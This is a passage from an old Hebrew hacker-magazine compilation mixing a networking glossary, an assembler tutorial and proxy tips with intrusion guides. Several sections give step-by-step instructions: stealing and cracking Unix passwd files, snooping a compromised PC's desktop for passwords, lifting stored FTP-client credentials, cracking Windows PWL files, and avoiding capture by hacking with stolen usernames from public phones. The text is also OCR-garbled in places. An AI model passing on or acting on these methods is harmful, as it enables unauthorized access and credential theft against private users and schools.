קשר עם מחשבים ברשת ולשלוף מהם מידע על פי בקשת הגולשים .לשרת הפרוקסי חיבור
מהיר הרבה יותר
משל הגולש הממצוע עם המודם ולכן משמש כמקום מהיר בהרבה לקבלת קבצים ממנו.
אם הרבה אנשים מבקשים את אותו קובץ -הקובץ נשמר בשרת הפרוקסי ,ובכך חוסך
לגולשים את ההמתנה
לקבלת המידע משרת האינטרנט המרוחק .על שרתי פרוקסי יש גם הגנה ולכן הם יכולים
לשמש כפיירוול
אבל בר.
- Protocolסדר פקודות\הוראות מוסכמות ומאפשרות לתכנן מערכות בכל העולם שיבינו ויוכלו
לתקשר אחת עם השניה.
- Binaryשפה המורכבת מ 1 ,0 -והמחשב מבין אותה ,רק אותה.
- )Socket )Hardwareהתקן אשר לתוכו אפשר לתקוע רכיב אלקטרוני ולשחררו ללא צורך
בהלחמה.
- )Socket )Softwareכדיי שתוכנה תוכל לתקשר עם מחשב אחר עליה ליצור קשר דרך סוקט,
התוכנה מבצעת
פתיחה של סוקט לתוך סוקט שפתוח כשרת על מחשב אחר ויוצרת חיבור בין
המחשבים
ומעבירה פאקטים בינהם.
- Compilerמחולל שינוי במה שכתבת בשפה תכנות כלשהי והופך את זה לשפת מחשב ,בינארי .
200
אנונימיות -אין להיות אנונימי ואיך לגלות דברים על אנשים אחרים
טוב כולכם אבל אני מדגיש כולכם ממש ממש ממש לא אנונימיים כל פעם שאתם מורידים קובץ
מאתר אז אנשי האתר יכולים (אם הם רוצים) לדעת עליכם :
IP
ISP
ארץ
עיר
סוג הדפדפן
OS
רזולוציית מסך
ה URLהקודם שביקרתם בו
עכשיו אתם בטח אומרים :נו אז מה למי איכפת שהאתר ידע מה רזולוציית המסך שלי...
אז אתם טועים ובגדול כי אם אתר מחורבן יכול לעשות את זה אז לאדם שקצת מתמצא בנושא
אז זה לא בעיה לגלות עליכם דברים הנה עוד דוגמא :
במירס אפשר גם כן לגלות על מישהו הרבה דברים (במקרה הטוב הוא לא מסתיר את הדברים
האלה)
שם אמיתי
כתובת
אי מייל
IP
ISP
ארץ
עיר
muki@zahav.net.il
שזה פורט
FINGER
ושם אתם יכולים לגלות מלא על מוקי שלנו כמו שם אמיתי פעם אחרונה שהוא התחבר לפעמים
מספר טלפון אם יש לו אי מייל אחר
עכשיו אני לא יודע אם זה מקומי או כללי וורטקס אמר לי שזה מקומי והוא נתן לי הסבר מאוד
מאוד משכנע וסייבר פאנק ועוד איזה אחד אמרו לי שזה כללי ולא נתנו לי הסבר תחליטו לבד...
איפה הקאצ'
הנה יש מלא סרברים שחסמו את זה אבל אם זה באמת מקומים אז יש לכם יותר סיכוי להצליח
למצוא כי יש יותר
(יותר סרברים יותר סיכוי)
נכון זה נורא מעצבן אם אתם רוצים לדבר עם מישהו באיי סי קיו והוא יענו לא מחובר אבל יש
לכם הרגשה שהוא מתעלם ממכם אז אני מביא את הגאולה נכון יש תוכנה שמגלה אבל הרבה
הרבה יותר כיף לעשות דברים ידנית (אפילו לקרוא אי מייל) אם אתם יודעים את האי מייל שלו
אז תכנסו לפינגר שדיברתי עליו מקודם ותראו אם הוא באינטרנט או לא
201
מייל אנונימי
כל פעם שאתם מקבלים אי מייל אז אם תלחצו לחצן ימני על המייל ואז propartiesאז תקבלו
את ה IPשל השולח אפילו אם תשלחו אי מייל מזוייף עם טלנט יראו את ה IPשלכם (זאת אחת
הדרכים לגלות אי מייל מזוייף)
שאלה :איך עוקפים את זה?
אז יש remailerשזה כמו לינק אם שולחים ל נגיד muki@remailer.comאז זה אוטומטית
מעביר את הדואר ל muki@zahav.net.il
זה טוב ויפה אבל מה קורה כשאתם רוצים לשלוח דואר אז יש שירותי remailerשזה כמו פרוקסי
אחרי השליחה רואים את ה IPשל ה remailerולא את שלכם
שאלה :איך משתמשים בשירותי remailerלשליחת דואר אנונימי?
אז אתם נכנסים עם טלנט לשרת פורט 25מכניסים את השם משתמש והסיסמא (רישום חינם)
ואז משם אתם שולחים אם אתם לא בדיוק מבינים מה לעשות מקסימום תדברו איתי במירס
עוד שיטה לאי מייל אנונימי אבל זה סוג אחר של אנונימיות המטרה של זה שאחרים לא יקראו
ולא שלא יגלו אותך אז הנה השיטה
PGP
אם אתם לא יודעים מה זה תכנסו ל www.whatis.comותחפשו שם (יש שם הסברים מצויינים
כמעט לכל דבר)
עוד על הדואר
Coockies
אני מניח שאתם כבר יודעים מה זה אז מה לעזאזל אני רוצה ממכם אז זהו שאם מישהו משיג את
הקוקיז שלכם לא הכי קשה להשיג אז יש לו סיכוי קטן אבל יש לפענח את ההצפנה של הקוקי
במיוחד אם זה אתר מחורבן
ועוד משהו אתרים יכולים לגלות עליכם הרבה יותר ממה שאתם חושבים רק על ידי שימוש
בקוקיז
מסקנה :כדאי למחוק אותם אבל לא צריך להיות יותר מידי פרנואידים
202
קבצים שמכילים פרטים עליכם
טוב אם אתם רוצים למחוק את כל הקבצים שמכילים פרטים עליכם כדאי שתשרפו את ההארד
דיסק אבל הנה דברים שאתם יכולים למחוק
קוקיז (בתיקייה של הקוקיז וב temporary internet filesיש גם שם מלא קוקיז)
FILE0001.chk
FILE0001.chk
בדרך כלל נמצאים בכונן סי
MIRC
ICQ
לינקים
http://www.pgpi.comעל הצפנה והצפנת האי מיילים שלכם
http://www.cyberarmy.com/listsרשימה של פרוקסיז אנונימיים טובים
http://www.multiproxy.org/anon_list.htmרשימה של פרוקסיז מצוווווינים (תודה
לסינטאקס)
- www.neotracer.comהתוכנה שמאתרת איי אס פי
By NDR113
203
אסמבלר
מה זה אסמבלר בכלל ? בטוח שמעתם את השם הזה פעם או פעמיים בחיים אז אני יסביר מה זה ולמה זה.
מה בכתבה ?
• הסבר קצר על אסמבלר
• בסיסי ספירה
• המרה מבינארי לדצימלי
• אוגרים
•פקודות
הסבר.
אסמבלר היא שפת תכנות אשר לוקחת פקודות מחשב פשוטות והופכת אותם לחבילות של ביטים אשר
עובדים תחת אוגרים ומריצים את הפקודות שכתבתם בה בתור תוכנית.
אסמבלר היא שפת סף ,היא לא שפה עלית כמו סי או ויז'ואל בייסיק.
*/הכוונה היא C :לדוגמה היא שפת תכנות הגיונית .אתם אומרים לה
printf
והיא מדפיסה משהו על המסך .לעומתה אסמבלר זה הדבר הכי קרוב לשפת מכונה (אחרי שפה בינארית
כמובן) שאפשר לתכנת בו .אם תסתכלו על קוד של אסמבלי לא תבינו מיד מה הוא עושה ,אלא תצטרכו
לעקוב ,לחשוב ,להסתכל ולנסות להבין מה בדיוק דוחפים למחסנית ולמה כשעושים
push %eax
לדוגמה .בלאדי/* .
בסיסי ספירה.
הקסדצימלי (בסיס )16 דצימלי (בסיס )10 אוקטאלי (בסיס )8 בינארי (בסיס )2
0 0 0 0000
1 1 1 0001
2 2 2 0010
3 3 3 0011
4 4 4 0100
5 5 5 0101
6 6 6 0110
7 7 7 0111
8 8 ------------------- 1000
9 9 ------------------- 1001
A 10 ------------------- 1010
B 11 ------------------- 1011
C 12 ------------------- 1100
D 13 ------------------- 1101
E 14 ------------------- 1110
F 15 ------------------- 1111
כמה דברים שכדאי לזכור !!!
.1בסיס בינארי מתאפיין רק בשני מספרים 0 ,ואחד.
.2במספרים בינארי יש דבר שנקרא אפס מוביל ,למשל אתה צריכים מילה בינארית למילת מחשב בת 7
אותיות אבל מספר הבינארי שלכם הוא 6אותיות אז אתם יכולים להוסיף אפס משמאל והמחשב
מתייחס אליו כמו ל 0ואילו אם תוסיפו מצד שני ,זה יהיה מספר אחר והמחשב לא יריץ את התוכנית
הנכונה .דוגמא:
6אותיות – 7 , 1101010אותיות – ,01101010שימו לב לאפס האדום שהוספתי.
.3כל בסיס פרט לבינארי ימשיך את סדרת המספרים העולה עד למספר של הבסיס פחות אחד ,דוגמא,
בסיס 15יהיה מספר .0-14בסיס 99יהיה מספרים .0-98
.4הטבלה שלמעלה תעזור לכם להמיר מספר ,אם אתם צריכים להמיר מספר 15באוקטלי למספר
בדצימלי אז מה עושים ?
204
לוקחים את 1שזה 0001ולוקחים את 5שזה 0101ומחברים ,קיבלתם 000101010ועכשיו עושים המרה
למספר רגיל (דצימלי) .והנה ההסבר איך להפוך מבינארי לעשרוני (דצימלי).
המרה מבינארי לדצימלי:
עכשיו אם יש מתחת לספרה האמיתית 0אז המספר שווה אפס אבל אם יש אחד אז הוא שווה כמה שכתוב
מעל ה .1
למשל:
יש אחד מעל האחד אז זוכרים ,1יש אחד מעל ה ,2זוכרים עוד ,2
וכו' עד שמגיעים ל.51 = 1+2+16+32 :
ברור ? אני אתן לכם פה תרגילים או שתיים:
? = 11001100
? = 00000010
בראשון אמור לצאת .204
בשני אמור לצאת .2
אני מקווה שהבנתם אם לא תקראו שוב כי זה לא ממש קשה.
עכשיו איך הופכים מעשרוני לבינארי? זה קצת יותר מסובך אבל עדיין נכנס להגדרה של קל.
ניקל את המספר 143ואז מה עושים ?
אוגרים:
אוגרים הם בעצם תאי זיכרון בתוך המעבד ,ישנם 4אוגרים כלליים שבד"כ מתכנתים באסמבלר
משתמשים בהם והם Ax, Bx, Cx, Dx ,וישנו עוד אוגר IPאבל לא צריך אותו כרגע ,נחזור אליו
בעתיד.
כל אוגר הוא אוגר של 16סיביות ,שניתן לחלקו לשני חלקים ,כל חלק 8סיביות.
205
עכשיו מה הפרוש הפרקטי של כל אוגר :
Ax – accumulator
Bx – base
Cx – count
Dx – data
IP – instruction pointer
בואו נגיד שזהו אוגר ה Axשלנו ,אני יסביר איך הוא בנוי.
15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
האוגר שיותר למעלה ,מראה לכם את AXבמצב טבעי ,כולל את כל 16הביטים שלו ואילו האוגר
שיותר למטה מחולק לשתיים ,כל חלק 8ביט כמו שכתבתי למעלה.
ניתן לך תרשים של כל האוגרים שנשתמש בהם:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Ax
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Bx
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Cx
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Dx
אני בטוח ששמתם לב שאמרתי שיש 16ביטים בכל אוגר וכתוב רק ,15לאלה שלא הבינו למה,
כמו שאמרתי למעלה ,באסמבלר עושים את כל הסדרה פחות 0( 1משומש כמו-כן).
אוקי ,אני מקווה שעד לפה אתם עוקבים ועכשיו הייתי רוצה לעבור לפקודות.
אוקי עכשיו עוד משהו ,כל אוגר שמחולק לשתיים יקרא כך
| Ax - AL | AH
AHמסמל אוגר A–highואילו ALמסמל אוגר .A–low
ככה כל אחד ואחד מהם ,מ AXעד ל .DX
AXשווה 16סיביות ,ואילו ALשווה 8סיביות ,חשוב מאוד לזכור את זה ,קצת תרגול:
אני רושם אוגר או חלק מאוגר ואתם רושמים כמה סיביות יש בתוכו.
? = AX
? = BL
206
? = AL
? = CH
? = DL
(תשובות בסדר יורד),16,8,8,8,8 ,
(* רמז ,הראשון זה ).16
פקודות.
אני אתן פקודה ,איך כותבים אותה ומה פירוש הפקודה.
לא לשכוח ,יש פסיק אחרי כל שם של אוגר ולא לשכוח נקודה פסיק בסוף הפקודה (;).
ברירת המחדל של הקומפלייר היא שונה בכל תוכנה ותוכנה יש כאלה שאצלם ברירת המחדל היא
,16אז כל מספר שתכניס היא תחשיב אותו בבסיס 16וכדומה ,אז בואו נגיד שכרגע ברירת
המחדל שלנו היא ,10בסיס דצימלי ,עשרוני.
הדוגמא תהיה מסומנת באדום.
אני חושב שזה מספיק בינתיים ,עכשיו אני אתן לכם כמה תרגילים ,תעבדו עליהם ,תיישמו את
מה שלמדתם וניפגש בכתבה הבאה שלי ,עד אז ,יבוא שלום על ישראל.
האוגר AXקולט ערך ,12האוגר BXקולט ערך ,15האוגר CXקולט ערך 18ואז עושים חשבון
בין כולם ,אוגר AXיהיה שווה .45
אם לא תצליחו אז אני מוסיף בסוף העמוד את התשובה הנכונה:
///////////////////
;Mov ax, 12
;Mov bx, 15
;Mov cx, 18
;Add Ax, Bx
;Add Ax, Cx
///////////////////
207
:reference */
"המדריך לשפת אסמבלי" (הוצאת הוד עמי) .יש שם המון זבל ,אבל ה 10 -פרקים הראשונים
רלוונטיים לנו.
שמעתי על ספר מצויין בנושא של כותב ישראלי ,לצערי אני לא זוכרת את השם .אלי משהו .
הספר הראשון גם יציג לכם את תוכנת debugוכך תוכלו לנסות דוגמאות פשוטות כמו הדוגמאות
הנ"ל .אין צורך להוריד תוכנת אסמבלר (לא קוראים לזה "קומפיילר" ,כי זאת לא שפת עילית)
מורכבת כמו MASMלצורך הזה.
בלאדי/* .
By Pirs[I]ng
208
פריצה נכונה
יש כמה דברים שצריך לשמור עליהם כדי לעבוד נכון ושלא יתפסו אותך:
.Iתשתמש במחברת ,שבה תרשום את כל הדברים שהשגת /תצטרך להשיג ועוד ..לעולם אל
תשאיר פרטים כאלה על
הכונן הקשיח שלך.
.IIכל תוכנות העזר שלך ,צרוב אותם ותשתמש בהם רק בתוך הסידי רום.
.IIIאל תפחד להיות פרנואיד! זה בסדר ..אתה עובר על החוק .זה בסדר לשים סיסמאות להכל
או להצפין דברים
על המחשב שלך..
.VIIכשאתה פורץ ,אל תהיה מחובר דרך UserNameשלך .השתמש בשם משתמש שגנבת.
(ראה למטה)
.VIIIאם אתה עומד לפרוץ למקום גדול ,אל תפרוץ מהבית!! פרוץ דרך טלפונים ציבוריים או
'קפה אינטרנט'.
.Xאל תתביש לשאול שאלות מאנשים שמבינים יותר ממך .כך תלמד יותר ותבין יותר.
פריצה נעימה...
החלטתי לרשום כאן רשימה של סיסמאות חיבור לאינטרנט כדיי שיהיה לכם התחלה..
כל הסיסמאות הם חיבור רגיל של נטויזיון.
מספרי גישה:
ירושליים , 02 6596666 -חיפה , 04 8601000 -תל אביב 03 5113000 -
רחובות , 08 9360000 -הרצליה , 09 9529999 -ראשון לציון 03 9533333 -
209
אם אחד הסיסמאות לא עובד עליכם ,לכו להגדרות של החיוג ,ותלחצו על "להפעיל את
Terminalאחרי החיוג",
ואז תקישו את שם המשתמש והסיסמה ידנית ,ותבדקו מה הבעיה.
נטויזיון (וכל החברות) לא מרשה ליותר ממשתמש אחד לעלות באותו הזמן על האינטרנט.
ZiroCool
210
פריצות של פעם
אני הולך לספר לכם אגדה ישנה ,ואגדה קצת פחות ישנה.
האגדה הישנה היא אגדת ה .PHF-וחברתה ,הפחות ישנה ,נקראת .FTP Hacking
אלו הן ,גבירותי ורבותי ,שתי השיטות הכמעט-הכי-ישנות שקיימות.
יש להקדים ולומר ,ששיטות אלו ,כבר כמעט ולא שמישות כיום.
:PHFשיטה זו ,פועלת אולי על שני אתרים בכל הרשת (!) (ואני מצאתי אחד!!).
:FTPשיטה קצת פחות ישנה ,פועלת אולי על כ 15% -מכלל האתרים שקיימים.
אתם בטח שואלים את עצמכם" :אז למה הפסיכי הזה רוצה לספר לנו על שיטות שלא עובדות
כבר ,הרי אנחנו
פה בשביל ללמוד דברים שעובדים ,לא בשביל להתעסק עם קשישות בנות תשעים עם פופיק בין
השדיים???"
אז זהו ,שלא.
מי שמתיימר לקרוא לעצמו האקר (ותשכחו מזה ,אני אפילו לא מנסה) ,כדאי ואף רצוי ,שיקרא
כל דבר ,כ-ל ד-ב-ר ,שהוא מוצא וקשור בחומר שמענין אותו (ואל תגידו שזה לא מענין).
ולכן ,אני בכל זאת אספר לכם פה מעשיה קטנה על סב-סב-סב-סב-סבתא PHFוסבתא FTP
.Hacking
211
operator:PASSWORD HERE:0:28:Operator PRIVILEGED
Account:/opr:/opr/opser
ris:Nologin:11:11:Remote Installation Services Account:/usr/adm/ris:/bin/sh
:/:daemon:*:1:1:Mr Background
הערה :המשתמש rootהוא המשתמש הראשי ,בעל האתר כביכול .לו יש את הגישה לכל
הקבצים בשרת.
אנחנו צריכים לשאוף לקבל את הסיסמא למשתמש זה.
אבל!
לפעמים ,תצליחו להגיע אל קובץ הסיסמאות ,ותגלו שהוא נראה כך:
:/:root:*:0:1:Operator
:ftp:*:53:53:anonymous ftp:/pub
:t2:*:201:201:Takaoka Tadashi:/pub
שימו לב:
מה קרה?
בשורה הראשונה ,יש לנו את החלק הראשון ,שאנחנו יודעים שהוא שם המשתמש root
ואחרי הנקודותיים ,היכן שאמורה להיות הסיסמא המוצפנת ,יש כוכבית!!!!!!
זהו ,גבירותי ורבותי ,קובץ "מוצל".
זאת אומרת שעברו על הקובץ ,ועשו "צל" על כל סיסמא .פשוט העבירו אותה לקובץ אחר ,שאין
לנו גישה אליו.
במקרה ונתקלתם בקובץ כזה ,אין לכם ברירה ,אלא לנסות מקום אחר.
אין שום אפשרות לפצח קובץ "מוצל".
ראשית ,נזדקק לתוכנת .FTPהשתיים הנפוצות הן Ws_ftp :ו .Cute ftp
אך אני ממליץ גם על .bulletproof Ftp
לאחר שהורדתם את התוכנה ,תלמדו לעבוד איתה צ'יק צ'אק ,זה לא מסובך במיוחד.
צריך להיות מקום להכניס את הכתובת ,ואז להתחבר.
אם השרת אליו אתם מנסים להתחבר מבקש ממכם שם משתמש וסיסמא (כמעט בטוח שהוא
יבקש),
השתמשו בפרטים הללו:
username: anonymous
password: some@host.com
212
אם מכניסים בתור שם משתמש את המילה anonymous
יש שרתים שמרשים לכל מבקר להכנס ,בתנאי שהוא יספק את כתובת האי-מייל שלו .כמובן
שאנחנו לא נספק
כתובת מקורית ,אלא נכתוב some@host.com
אם הגישה נדחית ,נסה שרת אחר.
הורידו את הקובץ passwdלמחשב שלכם ,בדקו שהוא אינו "מוצל" (שאכן אפשר לראות בו את
הסיסמאות המוצפנות).
והיה והצלחתם להשיג קובץ טוב (אתם אמורים לדעת מה זה קובץ "טוב" ,אם לא ,אז בתחילת
המאמר מוסבר על
קבצי סיסמאות) ,הריצו עליו תוכנת פריצה.
מה אתם נלחצים?! בשביל זה אני פה! (כן כן ,עדין קוראים לי ,a03lאני יודע שזה לא שם קל,
אבל תתרגלו!)
אני אנסה להסביר לכם כיצד לעבוד עם תוכנה אחת מיני רבות ,שקיימות ברשת.
יש לציין שהיא איננה הטובה ביותר ,כי אם הפשוטה ביותר.
התוכנות המומלצות הן:
Cracker Jack
או
John The Ripper
למשל ,אתה יכול לבקש מתוכנה שתכין לך קובץ מילון שיכיל את כל הצירופים האפשריים של
האותיות
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
והמספרים 1234567890
213
ככה כמעט בטוח שתצליח לפרוץ את הקובץ ,הבעיה היא שיש בערך
33,000,000,000,000,000,000,000,000,000,000
( - ZiroCool , 853,058,371,866,181,888אני מתעקש( ...מ 1-עד 10תווים))
צירופים אפשריים ,והמחשב בחיים לא יסיים להריץ את כולם ,ואולי אפילו יתקע.
אני ממליץ להשיג קובץ מוכן ,לאסוף מאחרים ,או לעשות אחד.
רצוי להשיג קובץ מילון בערך בגודל של בין 10ל 15מגה.
לאחר שהקראקר יסיים לסרוק את קובץ הסיסמאות (עלול לקחת זמן ,ואפילו הרבה) ,פיתחו את
הקובץ שהכנסתם
ב ,validfileושם אתם אמורים לראות משהו שדומה לזה (פחות או יותר):
root:root:0:1:System PRIVILEGED Account,,,:/:/bin/csh
.a03l
Phadiskiastorimansus
214
- Proxyשמירה על הזהות האמיתית
הרבה אנשים תוהים איך אנשים ב IRC-או באתרים אחרים אינם מראים את הזהות האמיתית
שלהם.
אפילו כשמנסים לבדוק את המידע על המשתמש ,מקבלים דברים כמו .fuck.bill.gates.co.uk
לכן אסביר לכם איך משתמשים בפרוקסי ,ומה זה פרוקסי בכלל.
215
יש עוד מידע שהסרבר מקבל עלייך אבל הוא תאריך ,שעה והמקומות שנכנסת באתר אז זה לא
חשוב.
כדי שהסרבר לא ייראה פרטים עלייך יש להתקין פרוקסי בדפדפן:
כדי להתקין יש ללחוץ עלTools--> Internet Options :
להגיע ל Connections--> Settings -ולסמן שם .use a proxy server
הגדרת הפרוקסי האתר היא כמו הגדרה של ה IRC-כך שזה לא יהייה קשה.
PsykoTrazו ZiroCool
216
עבודה נכונה בתוך מחשב
השלב הראשון שאנחנו צריכים לעשות הוא לבדוק על איזה מחשב המשתמש עובד.
השיטה הכי טובה לעבוד עכשיו היא ב ,Dos-ולא ב Windows-מפני שהדוס הוא הרבה יותר
מהיר בלהראות ולהעתיק קבצים ,מפני שהוא לא עובד על סביבת עבודה גראפית.
בגלל שאנחנו עכשיו כבר בתוך ספריית ה ,Windows-כנסו לספרית ה-שולחן עבודה (בדרך כלל
.)Desktop
תבדקו את הקבצים שיש שם ,ואת קבצי ה txt-שלהם.
בדרך כלל אנשים שמים סיסמאות /מספרים /הכל בתןך ה desktop-שלהם ,במיוחד אם זה
קובץ txtקטן.
* .קבצי lnkהם קבצים שמקשרים אותם למקום אחר במחשב (קיצור דרך) .אל תיבהלו אם
אתם רואים את זה בדוס
ולא מבינים מזה.
סיירנו בשולחן העבודה ,נהננו ..עכשיו .cd \ -להגיעה בחזרה להתחלה.
לרשום עוד פעם dirולחפש קבצי txtלראות אולי יש משהו מעניין .אחר כך להכנס ל My -
documents
( ,cd My documetnsאו )cd mydocu~1ולראות אולי גם שם יש משהו מעניין.
במחשבי ,NT/2000שולחן העבודה והמסמכים שלי ,ממוקמים בסיפרית Documents and -
settings\User\Desktop
- Userלכל משתמש יש את ה-מסמכים שלי ,ושולחן עבודה משלו (כמעט כמו לינוקס) ,לכן
כדאי לשחק שם עם כל
היוזרים.
- Desktopשולחן עבודה .יש שם גם ,My documentsואפילו .Start Menu
217
עכשיו ..כנסו לתוך ..Program Files
אם יש שם ספריה בשם NetBus / sub7וכו ..כנסו אלייה ותרשמו *( ,del *.ואז .)y
מחקנו זבל? ממשיכים..
יש מצב שהבן אדם שפרצתם אליו מכיל אתר אינטרנט (או שבגלל זה פשוט פרצתם לאותו
בנאדם)..
המטרה היא לחפש בתוך תוכנות ה FTP-שלו את הסיסמה ולהעתיק אותה אל המחשב שלך
(בהמשך)..
ZiroCool
218
פריצה לקובץ הסיסמאות של CuteFTPוWS_FTP-
זה ידוע מאוד שכדי לפרוץ לאתר ,יהיה יותר קל לגלות את הסיסמה ,במקום ללכת 'ראש בראש'
עם ה.Firewall-
ה Firewall-זה דבר מאוד מאוד עצבני שהחברות שעושות אותו לא מרשות לעצמם להגיע למצב
שמשהו יפרוץ
אותו ,לכן הם קונים את ההאקרים הטובים ביותר כדיי שיעבדו להם בחברה ויגלו טעויות
ובאגים שנותנים
'דלת אחורית' ( )Backdoorלאלה שרוצים לפרוץ.
לכן ,ברגע שפרצנו למשתמש רגיל שלא מחובר לסרבר של חברה גדולה ,אפשר להכנס לספרייה
של תוכנת הftp-
שלו ,שממנה הוא מעלה את המידע לאתר ולהוריד משם את קובץ הסיסמאות שלו.
^?^DWebsite.ftp.mywebsite.com^Dwebmaster^H©?«^?^?^??? ^B ^? ^U ^B
$^?^?^?^?^B ^B ^B ^B ^B ^A
- ------------------------ --------- --------
| -כתובת הftp- | |
| -שם המשתמש |
| -הסיסמה מוצפנת
יש שני אפשרויות לגלות את הסיסמה .אפשרות אחת היא קשה ,ומסובכת וסתם מטומטמת.
אבל נכון
219
שיש לנו כאן בחברה אנשים שרוצים לדבר בשפה הבינארית במקום השפה האמיתית שלהם אז
הנה השיטה:
בסיסמה יש את התוים -
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567
?><":}{|+_/.,;'][\=-~`)(*&^%$#@!890
(התווים שמשמאל בדרך כלל לא משתמשים אבל עדיין).
מה שעושים זה לעשות סיסמה משלך ולבדוק כל פעם איזה תווים זה רושם וככה ליצור טבלה.
ויש את השיטה הקלה :לשמור את הקובץ המקורי של הסיסמאות שלך ,ולהעתיק אלייך את של
המשתמש שהורדת
ממנו ,ואז להפעיל את התוכנה ותקבל ישר את הסיסמה ברשימה של הסרברים( .מומלץ!).
ZiroCool
220
- MOTOROLAקוד טכנאי
לטלפונים הסלולריים של מוטורולה יש קוד טכנאי שמאפשר לשנות הרבה דברים בתוך
הטלפון.
בהתחלה צריך להכנס ל"בדיקה מצב" ( ,)Test Modeומשם מגיעים לכל הדברים האחרים.
הקוד עובד בטלפונים של מוטורולה עם הכפתורים .FCN, STOלא עובד על .GSM
יש להזהר מאוד עם הקודים האלה ,למה הם יכולים להרוס את הטלפון בקלות ..אז לאט לאט..
כדיי להכנס ל"בדיקת מצב" יש להקיש .FCN 00**83786633 STO #, 55# -
אחרי שהקשנו את הקוד יש לנו שני אפשרויות .אפשרות אחת היא להקיש עוד קוד בתוך
"בדיקת המצב" ,ואפשרות
שנייה היא להקיש * ולדפדף בפרטים שהטלפון מביא.
פרטים נוספים
--------------
221
כדי לדפדף יש להשתמש במקש * .כשמגיעים למצב שהטלפון מראה ' ,יש להקיש 01#כדיי
לכבות את הטלפון.
- 01מספר מערכת.
- 02אפשרות תכנות.
- 03מספר טלפון עם קידומת.
.Station Class Mark - 04
.Access Overload Class - 05
- 06מספר של הקבוצה.
< -------קוד האבטחה והקוד הסודי - 07קוד של האבטחה.
< -------של הטלפון .לפתיחה אם הוא נעול. - 08קוד הסודי.
- 09דרגת אבטחה.
- 10אפשרות תכנות.
- 11אפשרות תכנות.
.Initial Paging Channel - 12
- 13מערכת .A
- 14מערכת .B
.Number Paging Channel - 15
- 16אפשרות תכנות.
MOTOROLA GSM
---------------
בעיקרון ..הקוד היחיד שאני יכול להגיד שהוא באמת עובד ,הוא הקוד שבודק את הIMEI-
.*#06#
15ספרות שמזהות את הקו שלך בתוך הרשתXXXXXX (TAC) XX (FAC) XXXXXX( .
(SNR) X (SP
אז כאן לא ממש עזרתי..
בכל מקרה,
תהנו לכם ..ביי...
ZiroCool
222
קבצי פי.דבליאו.אל ()PWL FILES
שלום ,אז אני אסביר לכם מה זה הקבצים האלה ביככל ,מה שימושם במערכת ההפעלה,
איזה מידע מאוכסן עליהם ,האים צריך אותם ביכלל ,ובקיצור אני אסביר הכל.
------------------------------------------------------------------------------
אז נתחיל מלהכיר את הקובץ:
x.pwl
כאשר =Xשם שמישתמש שבחרתם בעת התקנת הווינדוס או בשלב הרישום ,בקיצור
הסיריאל.
!הערה:
לשים לב!
קבצי ה PWL-שומרים את הסיסמאות של האתרים ,וגם הקבצים רושמים
לעצמם מה שכתוב ב !COOKIES-אז תבדילו בים פי.דבלאיו.אל לבין קבצי "עוגיות"
אז קודם כל ,תרצו או לא תרצו זה בכל מחשב שמותקן עליו (.)win9x
אם אתם פורצים למחשב של מישהו או שהשגתם קובץ כזה של אחר,
ע"י פיצוח הקובץ ,ניתן להשיג סיסמאות אימיל ,חשבונות אירוח -הוסטינג ,סיסמאות רשת
ובקיצור כל הסיסמאות שהוא רשם ,עוד שימוש זה בבית ספר אם מפצחים את הקובץ
.admin.pwl
השגת הסיסמאות:
על מנת להשיג את כל הסיסמאות האלה לא מספיק הכך שיש לכם את הקובץ! אתם צריכים גם
לפצח אותו או לקרוא אותו! ואני לא מיתכוון לתיכנות שאני אומר קריאה ,כי לפעמים
באמת יש קבצים שניתן לקרוא ע"י תוכנה ב ++Cאו אדיטור ( - )editorעורך שפת תיכנות
אחרת.
223
אני מתכוון לתוכנות שיודעות לתרגם ולקרוא את הקבצים האלה ,וגם ולהציג נתונים
בשפה שלנו,
קיימים שני שוגי פיצוח על מנת להשיג את הסיסמאות:
)1התוכנות שקוראות ומתרגמות אותם ,לדעתי זה הכי טוב הם עושים זאות תוך שניות ,מאוד
מומלץ אני מישתמש בזה.
)2שימוש בתוכנות פיצוח העושות שימוש בכוח הברוטלי ,הם מעולות גם! אך החיסרון שלהם
שזה לוקח המון זמן ואפילו כמה שעות טובות!
[יש לציין שאת שתי התוכנות משני הסוגים ניתן להוריד בפינת העזרים לקראקרים!]
הפיצוח עצמו:
תורידו את התוכנות ,מה שנוח לכם ,אני לא אסביר כאן איך בידיוק לפצח מסיבה :1
אין מה להסביר! זה ממש קל! אתם מעלים את הקובץ והולכים לפי ההוראות מה שיש שם.
בקיצור ,התוכנות בעלות ממישק ממק קל גם למישתמש המתחיל ,אחרי שתפצחו אותם
כל מה שמכיל קובץ הפי.דבלאיו.אל אתם תראו ,סימאות לאתרים ,אימלים ,רשתות
,וכל מה שהזכרתי לכם.
החיסרון בפיצוח שאתם צריכים לנחש את ה , Userאבל אני מצאתי לכם משהו שיעזור !
תיסתכלו בטיפים
:TIPS
)1בדרך כלל כפי שהסברתי למלע ,כל מה שיבוא לפני סיומת ה file.pwlזה השם מישתמש(
)userכמו שרשמתי
למלע בדוגמה!
).2בבתי ספר ,רשתות ביתים ,סיפריות ,וכאלה ,בדרך כלל היוזר הוא . admin
)3אם אתם רוצים לפצח קובץ pwlשנמצא במחשב שאתם עובדים עליו ,איך תנחשו יוזר?
פשוט מאוד ,מצביעים אבל לא לוחצים! על
התחל>ניתוק .ואז יהיה רשום לדוגמה ,כמו שרשמתי בהתחלה ,שהתקנתי ()win9x
רשמתי את שם המישתמש על exampleאז המישתמש שלי זה . example
אתם תראו ניתוק ...exampleולהוכיח לכם.
איזה שם שהתקנתם את הווינדוס זה היוזר שלכם .ותראו שמשה שכתוב בניתוק נמצא ב
.pwlהשם שנתתם לכם ברישיון \ C:\WINDOW
עוד שיטה :לכו למחשב שלי>קליק ימני של העכבר>מאפינים>תעשו שם כללי> ותראו על שם
מי המחשב רשום
וזה היוזר -מישתמש (.)user
הטקסט הזה יצא קטלני ,טוב ,לא הייתי משוויץ אבל באמת מפורט ,אז מי שלא הבין הוא ממש
מפגר.
אז תהנו ,אל תעשו שטויות ,ותזכרו שאם נידפקתם בעייה שלכם !
patcher
224
כניסה בדרך מתוחכמת לחשבונות ואללה דואר ,סיטי ,ועוד
